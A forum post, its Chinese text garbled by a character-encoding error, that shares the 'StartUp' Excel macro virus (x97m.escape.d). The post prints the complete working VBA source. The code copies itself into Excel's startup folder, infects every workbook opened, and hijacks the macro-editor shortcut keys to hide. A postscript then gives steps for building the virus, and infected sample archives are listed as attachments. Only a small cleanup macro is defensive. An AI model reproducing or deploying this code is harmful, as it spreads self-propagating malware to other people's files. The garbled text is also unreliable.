¡@¼ÊºÙ: ªü¦N ¡@ÀY»Î: ¤£®¢¤U°Ý,¤£Â_¾Ç²ß,¤~·|¶i¨B
ª©¥D
- ©«¤l
- 647
- ¥DÃD
- 190
- ºëµØ
- 24
- ¿n¤À
- 1037
- ÂI¦W
- 0
- §@·~¨t²Î
- windows7
- ³nÅ骩¥»
- Office 2010 ; OOO3.0 ; Google
- ¾\ŪÅv
- 100
- ©Ê§O
- ¨k
- ¨Ó¦Û
- ¦Ë«n
- µù¥U®É¶¡
- 2010-5-2
- ³Ì«áµn¿ý
- 2022-6-24
|
[¤À¨É] EXCEL¥¨¶°¯f¬r®×¨Ò("StartUp")
¥»©«³Ì«á¥Ñ HUNGCHILIN ©ó 2012-6-8 21:21 ½s¿è
2012/6/8¤é¥H«áEXCEL«OÅ@«O±K§Þ¥©©«¤£¦A³]©w¾\ŪÅv
TO ¦U¦ì¹Ù¦ñ:
StartUp¯f¬rx97m.escape.d
³oÓ¤£¬O¯f¬rªº¯f¬r¦b2009¦~©³»P2010¦~ªì¦b ¦U¤j½×¾Â³y¦¨«Ü¦h§xÂZ
¤¤ªº¤H¤j³¡¤À³£¬OVBA°ª¤â.¤j®a³£½|ªºn©R
¦Ü¤µ½×¾Â¤W¥u·|¸Ñ°£¦ý³£¤@ª½¤£ª¾¹D¨äì²z
´N¦b¦¹»¡©ú¤@¤G
¦¹ªk¸g´ú¸Õexcel95~2010§¡¥i¥Î2007¥H«áÀɮ׮榡nÂà´«¦¨xlsmÀÉ
Y¬O§@¦¨¯f¬r·P¬V¡A§Ú·|»s¦¨xlsÀÉ¡AµM«á¥Îª©¥»§P§Oµ{¦¡§PÂ_¡A¨Ï¥Î2007¥H«áª©¥»®É·|¥t¦s¦¨xlsmÀÉ®×
³o¼Ë·P¬V®É¦Uª©¥»´N·|³q¥Î
ª`·N¦¹ÀɮסA¦³ÀÉ®×·P¬V©Ê:
1.°õ¦æ¦¹ªþ¥ó¯f¬r«á¡A½Ð¯S§Oª`·N¨ìApplication.StartupPath ¸ô®|¸ê®Æ§¨²M°£ "StartUp.xls"ÀÉ®×
¦p¦ó¸Ñ°£¡A½Ð°õ¦æ¤U¦Cµ{§Ç·|¦Û°Ê¶}±Ò¦s©ñ¸ô®|¸ê®Æ§¨:
Sub StartupPathA()
'¨Ï¥ÎªÌ¹q¸£¤WMicrosoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡C
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing 'ª«¥óªºÄÀ©ñ
Error1: End Sub
'(EXCEL2003ª©¦b³o¸ô®|¡AC:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)
2.½Ð°w¹ï¦¹©«¤º®e»PÀɮ׫O±K¡A¬ªº|¤Ó¦h¡A¹ïEXCEL¥@¬É·|³y¦¨²V¶Ã
3.³Â»¶½×ÀȪ©¥D¸s¤¤´¿¦³¤H¤¤¹L¦¹¬r¨Ã¦bºë^µo°Ý¹L¡A¬O«D±`¦nªº°ÝÃD¡A¦ý¦¹Äݯµ§Þ¤¤ªº¯µ§Þ¡A¨S¤Hª¾¹D¡A
©Ò¥H¤@ª½¥¼±o¨ì¥¿½Tªº¸Ñµª¡A¦bºë^½×ÀȤ¤¤S¬O¤@Äa®×¡A§Ú¤]¤@ª½¨S¦³©ñ¥Xµª®×¡A´N¶X¦¹¦¸¦b¦¹©«§@ºô¸ô¤W²Ä¤@¦¸¥¿¸Ñì²z»¡©ú
¦¹ÀÉ®×¼Ò²Õ·P¬Vì²z:
1.§Ú·Q³o¼Ë¤j®a´N·|ª¾¹D¡A²Ä2ÂI³o«h³sµ²n¦p¦óÀ³¥Î¡A
¦³¦MÀI¡B²³æ¡Bn³]©wÅv[50]ªºì¦]
2.[ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª
°õ¦æ®ÄªG:
1.¨Ï¥Î¦¹ÀÉ ¦¹ÀÉ·|¦Û°Ê¥t¦s "StartUp.xls"ÀɮרìApplication.StartupPath ¸ô®|¸ê®Æ§¨
2.·s¼WÀÉ®×»P¶}±ÒÂÂÀɳ£·|¦Û°Ê²¾´Ó¤J¦¹·P¬V¼Ò²Õ¡AY¤£ª`·N§A©Ò¦³¨Ï¥Î¹LªºEXCELÀɮ׳£·|¨ü·P¬V
3.¯f¬rµ{¦¡¦p¤U
-----------------------------------------------------------------------------------------------------
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub
-----------------------------------------------------------------------------------------------------
P.S.
¯f¬r§@ªk¨BÆJ:
1.±N¤Wzµ{¦¡½XCOPY¨ì EXCEL ¼Ò²Õ¤¤
2.±N¼Ò²Õ¦WºÙ§ï¬° results
3.[ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª
§Y¥i§¹¦¨
EXCEL·P¬V«¬¬r.rar (8.09 KB)
EXCEL2007·P¬V«¬¬r.rar (15.74 KB)
|
|